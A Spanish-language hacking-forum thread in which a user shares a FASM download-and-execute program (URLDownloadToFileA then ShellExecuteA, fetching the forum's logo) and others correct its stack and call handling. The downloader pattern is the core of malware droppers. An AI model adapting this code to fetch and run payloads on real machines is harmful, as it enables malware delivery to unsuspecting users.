comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[FASM] Downloader

  • 4 Respuestas
  • 2907 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado k0ws

  • *
  • Underc0der
  • Mensajes: 145
  • Actividad:
    0%
  • Reputación 0
  • I'm Back
    • Ver Perfil
  • Skype: k0wsit0
« en: Mayo 19, 2013, 06:39:49 am »
Bueno, empece con ASM hace poco y ayer estuve un buen rato bicheandolo para jugar con las apis y salio esto:

Código: ASM
  1. include 'include\win32ax.inc' ;Incluimos para el uso de ciertas apis.
  2. .data ;Seccion de datos.
  3. remote_file db 'http://underc0de.org/foro/Themes/underc0de/images/theme/logo.png',0 ;Definimos una variable para la URL.
  4. local_file db 'deje.png',0 ;Definimos otra variable para el nombre del archivo local.
  5. .code ;Seccion de codigo.
  6. start: ;Comenzamos el codigo
  7. call loading ;Llamamos a la subrutina para cargar las funciones necesarias.
  8. call download ;Llamamos a la subrutina para descargar el archivo.
  9. call execute ;Llamamos a la subrutina para ejecutar el archivo.
  10. exit:
  11. invoke ExitProcess,0 ;Salida del programa.
  12. .end start ;Terminamos.
  13. download: ;Cargamos en la pila los datos necesarios mediante push.
  14. push eax
  15. push 0
  16. push 0
  17. push local_file
  18. push remote_file
  19. push 0
  20. call eax ;llamamos a la funcion UrlDownloadToFileA (Su direccion)
  21. pop eax ;La sacamos de la pila.
  22. invoke FreeLibrary, eax ; "La Liberamos"
  23. call execute ; Nos vamos a la ejecucion del archivo.
  24. loading:
  25. invoke LoadLibrary, 'urlmon.dll' ;Llamamos a la libreria que contiene nuestra funcion.
  26. invoke GetProcAddress, eax, 'URLDownloadToFileA' ;Sacamos la direccion de nuestra funcion.
  27. call download ;Una vez definida la funcion a usar, podemos para a descargar el fichero.
  28. execute:
  29. invoke ShellExecuteA, 0, 0, local_file, 0, 0, SW_SHOW ;Ejecutamos el archivo y salimos...
  30. call exit ;Llamamos a la salida...
  31.  

-Saludos-

Desconectado Karcrack

  • *
  • Underc0der
  • Mensajes: 87
  • Actividad:
    0%
  • Reputación 0
  • Se siente observado ¬¬'
    • Ver Perfil
« Respuesta #1 en: Mayo 19, 2013, 09:22:28 am »
Estás llamando a las etiquetas con call por lo tanto debes acabar con ret para volver desde dónde fuiste llamado. De otra forma llenas el stack de punteros de retorno que no usas y la aplicación crashearía si no fuese porque acabas el proceso xD

Saludos
I code for $$$.

(PGP ID 0xCC050E77)
ASM, C, C++, VB6... skilled [malware] developer

Desconectado Juan

  • *
  • Underc0der
  • Mensajes: 159
  • Actividad:
    0%
  • Reputación 0
  • Ex-Drinky
    • Ver Perfil
« Respuesta #2 en: Mayo 19, 2013, 12:23:39 pm »
Hola K0ws, como te dijo Kacrack tienes que acabar con ret si lamas con call para que retorne.

Por si no te as dado cuenta de los tres calls primeros solo te hace efecto el primero ya que a las otras dos funciones las vas llamando desde otras funciones y no desde el main.

Tambien haces mal el FreeLibrary ya que en ese momento EAX = URLDownloadToFile.

Te dejo tu código corregido  :)

Código: ASM
  1. include 'win32ax.inc' ;Incluimos para el uso de ciertas apis.
  2.  
  3. .data ;Seccion de datos.
  4.       remote_file db 'http://underc0de.org/foro/Themes/underc0de/images/theme/logo.png',0 ;Definimos una variable para la URL.
  5.       local_file db 'deje.png',0 ;Definimos otra variable para el nombre del archivo local.
  6.  
  7.       urlmon dd ?
  8. .code ;Seccion de codigo.
  9. start: ;Comenzamos el codigo
  10.        call loading ;Llamamos a la subrutina para cargar las funciones necesarias.
  11.        call download ;Llamamos a la subrutina para descargar el archivo.
  12.        call execute ;Llamamos a la subrutina para ejecutar el archivo.
  13.  
  14.        exit:
  15.        invoke ExitProcess,0 ;Salida del programa.
  16.  
  17.        download: ;Cargamos en la pila los datos necesarios mediante push.
  18.  
  19.        ;push eax
  20.  
  21.        push 0
  22.        push 0
  23.        push local_file
  24.        push remote_file
  25.        push 0
  26.        call eax ;llamamos a la funcion UrlDownloadToFileA (Su direccion)
  27.  
  28.        ;pop eax ;La sacamos de la pila.
  29.  
  30.        invoke FreeLibrary, [urlmon] ; "La Liberamos"
  31.  
  32.        ret
  33.        ;call execute ; Nos vamos a la ejecucion del archivo.
  34.  
  35.        loading:
  36.        invoke LoadLibrary, 'urlmon.dll' ;Llamamos a la libreria que contiene nuestra funcion.
  37.        mov [urlmon],eax
  38.        invoke GetProcAddress, eax, 'URLDownloadToFileA' ;Sacamos la direccion de nuestra funcion.
  39.        ret
  40.        ;call download ;Una vez definida la funcion a usar, podemos para a descargar el fichero.
  41.  
  42.        execute:
  43.        invoke ShellExecuteA, 0, 0, local_file, 0, 0, SW_SHOW ;Ejecutamos el archivo y salimos...
  44.        ret
  45.        ;call exit ;Llamamos a la salida...
  46.  
  47. .end start ;Terminamos.

un saludo.

Desconectado k0ws

  • *
  • Underc0der
  • Mensajes: 145
  • Actividad:
    0%
  • Reputación 0
  • I'm Back
    • Ver Perfil
  • Skype: k0wsit0
« Respuesta #3 en: Mayo 19, 2013, 04:11:21 pm »
Muchisimas gracias compa, ya me esperaba que al ser mi primer "programilla" en ASM estuviera repleto de errores, tomo nota de ellos  ;)

-Saludos-

Desconectado mr.blood

  • *
  • Underc0der
  • Mensajes: 73
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
  • Skype: red_ink@hotmail.es
« Respuesta #4 en: Mayo 19, 2013, 04:24:27 pm »
Como anotación simplemente, nunca esta de más hacer lo siguiente en una función:

Código: ASM
  1. push ebp
  2. mov ebp, esp
  3. ...
  4. ...
  5. codigo
  6. ...
  7. ...
  8. leave
  9. ret
  10.  

Así no pisas en la pila los datos que tuvieras de otras funciones ;).

Sa1uDoS

 

¿Te gustó el post? COMPARTILO!



[MASM] File Downloader

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2332
Último mensaje Junio 05, 2012, 04:41:40 pm
por ANTRAX
Downloader MASM

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2213
Último mensaje Junio 05, 2012, 04:42:49 pm
por ANTRAX
[FASM] Simple Memory Code Injection

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2524
Último mensaje Junio 05, 2012, 04:43:46 pm
por ANTRAX
[FASM] Ascii85 decode

Iniciado por Karcrack

Respuestas: 0
Vistas: 1937
Último mensaje Junio 16, 2013, 06:13:38 pm
por Karcrack
[FASM] Download & Execute

Iniciado por ANTRAX

Respuestas: 0
Vistas: 4224
Último mensaje Abril 12, 2012, 10:47:20 am
por ANTRAX